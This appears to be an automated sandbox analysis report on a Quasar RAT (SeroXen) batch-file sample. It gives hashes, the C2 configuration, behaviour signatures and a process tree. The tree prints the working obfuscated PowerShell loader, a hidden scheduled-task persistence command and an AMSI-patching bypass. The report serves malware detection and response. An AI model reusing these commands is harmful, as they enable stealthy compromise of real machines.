quasar | 3785896edb293ff81a5d511d761602739e712118aaf8e5e78986e389eb8cbd25

General

Target

$sxr-Uni.bat
Size

723KB
MD5

beb1362e7de769ce5332ea614d48b508
SHA1

3b8db446968c37b66df57c21868331ae2a63d716
SHA256

3785896edb293ff81a5d511d761602739e712118aaf8e5e78986e389eb8cbd25
SHA512

8a52b4e50d49498288da73fe2b0ea12d67a0fadda4697b6adb6151cd65c33fddf3d4829d3fdda1dea56b65c7f5b7abe0bd20452ba40f7d3f2fcd4b8d69bc6830
SSDEEP

12288:e8vdejMeNYAAibWDLHPZyYNnOXydab+vGrtdF6YZ4J4H1EmpyL1IuHpk8:eAdeVwDLvDNOXyd0xdz4J4H1E9L1I0

Score

10^/10

quasar seroxen | v3.1.5 |execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen | v3.1.5 |

C2

runderscore00-61208.portmap.host:61208

Mutex

$Sxr-jy6vh8CtEJL5ceZuIb

Attributes

encryption_key
Q6KDujSVF3q2D64a3maQ
install_name
$sxr-powershell.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral3/memory/4480-78-0x00000000076B0000-0x000000000771C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4628 created 636 4628 powershell.EXE winlogon.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

2 4480 powershell.exe
3 4480 powershell.exe
4 4480 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1092 powershell.exe
888 powershell.exe
4480 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

Install.exeResetSurvival.exe

pid process

2912 Install.exe
1948 ResetSurvival.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 4628 created 636	4628	powershell.EXE	winlogon.exe

flow	pid	process
2	4480	powershell.exe
3	4480	powershell.exe
4	4480	powershell.exe

pid	process
2912	Install.exe
1948	ResetSurvival.exe

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4628 set thread context of 1364 4628 powershell.EXE dllhost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	pid	process	target process
PID 4628 set thread context of 1364	4628	powershell.EXE	dllhost.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings powershell.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXE

pid	process
1092	powershell.exe
1092	powershell.exe
888	powershell.exe
888	powershell.exe
4480	powershell.exe
4480	powershell.exe
4628	powershell.EXE
4628	powershell.EXE
4628	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1092	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeIncreaseQuotaPrivilege	888	powershell.exe
Token: SeSecurityPrivilege	888	powershell.exe
Token: SeTakeOwnershipPrivilege	888	powershell.exe
Token: SeLoadDriverPrivilege	888	powershell.exe
Token: SeSystemProfilePrivilege	888	powershell.exe
Token: SeSystemtimePrivilege	888	powershell.exe
Token: SeProfSingleProcessPrivilege	888	powershell.exe
Token: SeIncBasePriorityPrivilege	888	powershell.exe
Token: SeCreatePagefilePrivilege	888	powershell.exe
Token: SeBackupPrivilege	888	powershell.exe
Token: SeRestorePrivilege	888	powershell.exe
Token: SeShutdownPrivilege	888	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeSystemEnvironmentPrivilege	888	powershell.exe
Token: SeRemoteShutdownPrivilege	888	powershell.exe
Token: SeUndockPrivilege	888	powershell.exe
Token: SeManageVolumePrivilege	888	powershell.exe
Token: 33	888	powershell.exe
Token: 34	888	powershell.exe
Token: 35	888	powershell.exe
Token: 36	888	powershell.exe
Token: SeIncreaseQuotaPrivilege	888	powershell.exe
Token: SeSecurityPrivilege	888	powershell.exe
Token: SeTakeOwnershipPrivilege	888	powershell.exe
Token: SeLoadDriverPrivilege	888	powershell.exe
Token: SeSystemProfilePrivilege	888	powershell.exe
Token: SeSystemtimePrivilege	888	powershell.exe
Token: SeProfSingleProcessPrivilege	888	powershell.exe
Token: SeIncBasePriorityPrivilege	888	powershell.exe
Token: SeCreatePagefilePrivilege	888	powershell.exe
Token: SeBackupPrivilege	888	powershell.exe
Token: SeRestorePrivilege	888	powershell.exe
Token: SeShutdownPrivilege	888	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeSystemEnvironmentPrivilege	888	powershell.exe
Token: SeRemoteShutdownPrivilege	888	powershell.exe
Token: SeUndockPrivilege	888	powershell.exe
Token: SeManageVolumePrivilege	888	powershell.exe
Token: 33	888	powershell.exe
Token: 34	888	powershell.exe
Token: 35	888	powershell.exe
Token: 36	888	powershell.exe
Token: SeIncreaseQuotaPrivilege	888	powershell.exe
Token: SeSecurityPrivilege	888	powershell.exe
Token: SeTakeOwnershipPrivilege	888	powershell.exe
Token: SeLoadDriverPrivilege	888	powershell.exe
Token: SeSystemProfilePrivilege	888	powershell.exe
Token: SeSystemtimePrivilege	888	powershell.exe
Token: SeProfSingleProcessPrivilege	888	powershell.exe
Token: SeIncBasePriorityPrivilege	888	powershell.exe
Token: SeCreatePagefilePrivilege	888	powershell.exe
Token: SeBackupPrivilege	888	powershell.exe
Token: SeRestorePrivilege	888	powershell.exe
Token: SeShutdownPrivilege	888	powershell.exe
Token: SeDebugPrivilege	888	powershell.exe
Token: SeSystemEnvironmentPrivilege	888	powershell.exe
Token: SeRemoteShutdownPrivilege	888	powershell.exe
Token: SeUndockPrivilege	888	powershell.exe
Token: SeManageVolumePrivilege	888	powershell.exe
Token: 33	888	powershell.exe
Token: 34	888	powershell.exe
Token: 35	888	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

4480 powershell.exe

pid	process
4480	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXE

description	pid	process	target process
PID 3892 wrote to memory of 1092	3892	cmd.exe	powershell.exe
PID 3892 wrote to memory of 1092	3892	cmd.exe	powershell.exe
PID 3892 wrote to memory of 1092	3892	cmd.exe	powershell.exe
PID 1092 wrote to memory of 888	1092	powershell.exe	powershell.exe
PID 1092 wrote to memory of 888	1092	powershell.exe	powershell.exe
PID 1092 wrote to memory of 888	1092	powershell.exe	powershell.exe
PID 1092 wrote to memory of 3020	1092	powershell.exe	WScript.exe
PID 1092 wrote to memory of 3020	1092	powershell.exe	WScript.exe
PID 1092 wrote to memory of 3020	1092	powershell.exe	WScript.exe
PID 3020 wrote to memory of 1932	3020	WScript.exe	cmd.exe
PID 3020 wrote to memory of 1932	3020	WScript.exe	cmd.exe
PID 3020 wrote to memory of 1932	3020	WScript.exe	cmd.exe
PID 1932 wrote to memory of 4480	1932	cmd.exe	powershell.exe
PID 1932 wrote to memory of 4480	1932	cmd.exe	powershell.exe
PID 1932 wrote to memory of 4480	1932	cmd.exe	powershell.exe
PID 4480 wrote to memory of 2912	4480	powershell.exe	Install.exe
PID 4480 wrote to memory of 2912	4480	powershell.exe	Install.exe
PID 4480 wrote to memory of 2912	4480	powershell.exe	Install.exe
PID 4480 wrote to memory of 1948	4480	powershell.exe	ResetSurvival.exe
PID 4480 wrote to memory of 1948	4480	powershell.exe	ResetSurvival.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe
PID 4628 wrote to memory of 1364	4628	powershell.EXE	dllhost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{2ec532e8-50f2-4d2c-9dc8-de3befc93ecb}
2⤵
PID:1364

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7uctZMFx6G9ucHdptJcO83jS0zyXalW/JF9L2ribdis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WNOpQvTMP1KTzAKvCLgIVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tkugM=New-Object System.IO.MemoryStream(,$param_var); $HMuDf=New-Object System.IO.MemoryStream; $ZaAiu=New-Object System.IO.Compression.GZipStream($tkugM, [IO.Compression.CompressionMode]::Decompress); $ZaAiu.CopyTo($HMuDf); $ZaAiu.Dispose(); $tkugM.Dispose(); $HMuDf.Dispose(); $HMuDf.ToArray();}function execute_function($param_var,$param2_var){ $JmmpE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lmGYr=$JmmpE.EntryPoint; $lmGYr.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat';$VyxHM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\$sxr-Uni.bat').Split([Environment]::NewLine);foreach ($iulyk in $VyxHM) { if ($iulyk.StartsWith(':: ')) { $qpkVJ=$iulyk.Substring(3); break; }}$payloads_var=[string[]]$qpkVJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1092

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_534_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_534.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:888

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_534.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:3020

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_534.bat" "
4⤵
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7uctZMFx6G9ucHdptJcO83jS0zyXalW/JF9L2ribdis='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WNOpQvTMP1KTzAKvCLgIVw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $tkugM=New-Object System.IO.MemoryStream(,$param_var); $HMuDf=New-Object System.IO.MemoryStream; $ZaAiu=New-Object System.IO.Compression.GZipStream($tkugM, [IO.Compression.CompressionMode]::Decompress); $ZaAiu.CopyTo($HMuDf); $ZaAiu.Dispose(); $tkugM.Dispose(); $HMuDf.Dispose(); $HMuDf.ToArray();}function execute_function($param_var,$param2_var){ $JmmpE=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $lmGYr=$JmmpE.EntryPoint; $lmGYr.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_534.bat';$VyxHM=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_534.bat').Split([Environment]::NewLine);foreach ($iulyk in $VyxHM) { if ($iulyk.StartsWith(':: ')) { $qpkVJ=$iulyk.Substring(3); break; }}$payloads_var=[string[]]$qpkVJ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4480

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
6⤵
- Executes dropped EXE
PID:2912

C:\Users\Admin\AppData\Local\Temp\ResetSurvival.exe
"C:\Users\Admin\AppData\Local\Temp\ResetSurvival.exe"
6⤵
- Executes dropped EXE
PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:eqLhyvyQKQWM{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$lnUhchXbqYKxNK,[Parameter(Position=1)][Type]$bEJVjqRfPO)$AWLerbHEZMZ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+'e'+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+'e'+'l'+[Char](101)+''+[Char](103)+'a'+[Char](116)+''+[Char](101)+''+'T'+'y'+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,'+'A'+''+[Char](110)+'s'+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$AWLerbHEZMZ.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+'c'+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+'i'+''+'d'+'eB'+[Char](121)+''+'S'+''+[Char](105)+'g'+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$lnUhchXbqYKxNK).SetImplementationFlags('Run'+[Char](116)+''+[Char](105)+''+'m'+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+'d');$AWLerbHEZMZ.DefineMethod('In'+'v'+'oke',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+'S'+'l'+''+[Char](111)+''+[Char](116)+''+','+''+'V'+'i'+'r'+''+[Char](116)+'u'+[Char](97)+''+'l'+'',$bEJVjqRfPO,$lnUhchXbqYKxNK).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+'i'+'m'+''+[Char](101)+',M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'e'+[Char](100)+'');Write-Output $AWLerbHEZMZ.CreateType();}$iEQIVOesdUwtJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+'y'+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+'.'+[Char](87)+'i'+[Char](110)+''+'3'+''+'2'+''+'.'+''+[Char](85)+'ns'+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+'t'+''+'i'+''+[Char](118)+'e'+[Char](77)+''+[Char](101)+'t'+'h'+'o'+[Char](100)+'s');$JihsZkFosAGiri=$iEQIVOesdUwtJ.GetMethod(''+[Char](71)+''+[Char](101)+'tP'+[Char](114)+'oc'+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+'s'+'s'+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+'li'+'c'+''+[Char](44)+''+[Char](83)+''+[Char](116)+'a'+'t'+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VZBmYUsiVYJspNbztsf=eqLhyvyQKQWM @([String])([IntPtr]);$rmxeaBvRdCTsiFUehBUwkN=eqLhyvyQKQWM @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MwkSrXNhCFd=$iEQIVOesdUwtJ.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+'Mo'+[Char](100)+''+[Char](117)+''+[Char](108)+'e'+'H'+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object]('k'+[Char](101)+''+[Char](114)+''+[Char](110)+'el32.d'+[Char](108)+'l')));$BZPIOPGJBYfUTN=$JihsZkFosAGiri.Invoke($Null,@([Object]$MwkSrXNhCFd,[Object](''+'L'+''+[Char](111)+''+'a'+'dLib'+'r'+'a'+'r'+'y'+[Char](65)+'')));$iCNxQzqiQbTdZMeSh=$JihsZkFosAGiri.Invoke($Null,@([Object]$MwkSrXNhCFd,[Object]('V'+'i'+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'ct')));$KJqiolX=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BZPIOPGJBYfUTN,$VZBmYUsiVYJspNbztsf).Invoke(''+[Char](97)+''+'m'+'s'+[Char](105)+''+[Char](46)+''+'d'+'l'+[Char](108)+'');$CuDzCzntjXsqEUgqY=$JihsZkFosAGiri.Invoke($Null,@([Object]$KJqiolX,[Object](''+[Char](65)+''+'m'+''+[Char](115)+'iSc'+[Char](97)+'n'+'B'+''+[Char](117)+''+[Char](102)+'fer')));$LoycvSbptd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iCNxQzqiQbTdZMeSh,$rmxeaBvRdCTsiFUehBUwkN).Invoke($CuDzCzntjXsqEUgqY,[uint32]8,4,[ref]$LoycvSbptd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$CuDzCzntjXsqEUgqY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($iCNxQzqiQbTdZMeSh,$rmxeaBvRdCTsiFUehBUwkN).Invoke($CuDzCzntjXsqEUgqY,[uint32]8,0x20,[ref]$LoycvSbptd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('$7'+'7'+''+'s'+''+'t'+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4628

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
8ba8fc1034d449222856ea8fa2531e28

SHA1
7570fe1788e57484c5138b6cead052fbc3366f3e

SHA256
2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2

SHA512
7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
17KB

MD5
1ed6ae24188d4888db6643cadfaadcb6

SHA1
94c2152f3a737123725fec173ccc04fcdfb38e9f

SHA256
e4a02c78045555ac6d6efa12f4bab3c2fa66ff2d051e50e94fb4889745533c58

SHA512
44e81f9daca5aeac0dc87dc1940f9fb58b8ae1251813584ce3708246020ad3b70281afe99660a3a9130c1dbff32bdb2c5c6a94bec7417c21f021cb60205dc7d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
163KB

MD5
051b3f7c30caf2eedbed29daa6192efb

SHA1
a3e0f31e4b4367e5af06f71e7718e7d64ceb250d

SHA256
6cd0c5b5b528c15ad28d9f8e44ee2b4e46d8942e8c0592e89c056a3a3661c3b3

SHA512
